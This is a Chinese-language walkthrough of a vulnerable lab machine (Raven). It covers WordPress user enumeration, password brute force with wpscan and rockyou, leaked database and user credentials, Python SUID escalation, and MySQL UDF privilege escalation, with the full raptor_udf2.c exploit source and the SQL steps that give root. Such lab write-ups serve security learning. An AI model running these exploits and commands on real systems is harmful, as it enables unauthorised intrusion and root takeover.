一、主机发现
使用netdiscover
发现其主机为192.168.203.154
。
二、端口扫描
使用Nmap
进行探测:
得知目标开放了22
、80
、111
、53789
。
三、漏洞利用
我们先从80
端口的web服务入手。
经过一番搜索之后,发现了右上角的Blog,其他页面呢都是html,没有什么可以利用的地方。
我们先进行一下目录扫描吧,因为该靶机不仅要获取root权限,并且还要发现站点中的flag,所以信息搜集要做的全面一些。
dirb http://192.168.203.154/
挨个查看之后,也没有得到可以利用的信息。
最重要的我感觉还是wordpress
,我们直接拿出wpscan
扫站点:
通过该命令得到站点的两个用户:wpscan --url http://192.168.203.154/wordpress/ -e u
用户michael
和steven
。
爆破以上两位用户的密码:
wpscan --url http://192.168.203.154/wordpress/ -U michael,steven -P /usr/share/wordlists/rockyou.txt
同时,也爆破着ssh,最终拿下了ssh的账号:
四、提权(1)
在目录/var/www
目录下发现了FLAG2:
在目录/var/www/html
目录中的service.html
找到了flag1.
在wordpress目录中,找到了配置文件wp-config
,并从中找到了数据库的账号和密码:
账号:root
密码:R@v3nSecurity
一般是root用户,mysql提权就稳了。
本来打算直接执行系统命令,但是目标机器缺少环境:
在wordpress
数据库中,发现了steven账号的密码:
扔进john
进行破解:
破解得到的密码为pink84,切换账号:
登录之后呢,发现steven对python具有suid权限,那就直接写个shell即可,如下拿到root权限:
那flag3在哪呢?
位于wordpress数据库中wp_posts表中:
五、提权(2)
使用mysql提权
在其机器上下载一个提权辅助脚本(python编写):
wget https://www.securitysift.com/download/linuxprivchecker.py
我们可以使用此exp进行提权,我们先去寻找此脚本:
查看用法,对其进行编译:
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*
* E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
*
*/
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
编译好之后,传到靶机中去。
接下来,按照用法进行操作:
……一失足成千古恨,一个错误操作,导致代码全没了,只有最后结果了。
最后的mysql提权参考文章:https://www.jianshu.com/p/b163487118b6
create table foo(line blob); #创建一个表,名为 foo。
insert into foo values(load_file(‘/tmp/1518.so’)); #将 1518.so 导入 foo 表。
select * from foo into dumpfile ‘/usr/lib/mysql/plugin/1518.so’; #将1518.so转储到 /usr/lib/mysql/plugin 目录中。
create function do_system returns integer soname ‘1518.so’; #最重要的一步,创建一个名为 do_system 的 UDF 函数,它将调用实现该函数的代码。
select do_system(‘chmod u+s /usr/bin/find’); #调用do_system() 函数,执行chmod 命令,对 /usr/bin/find 设置 sticky 位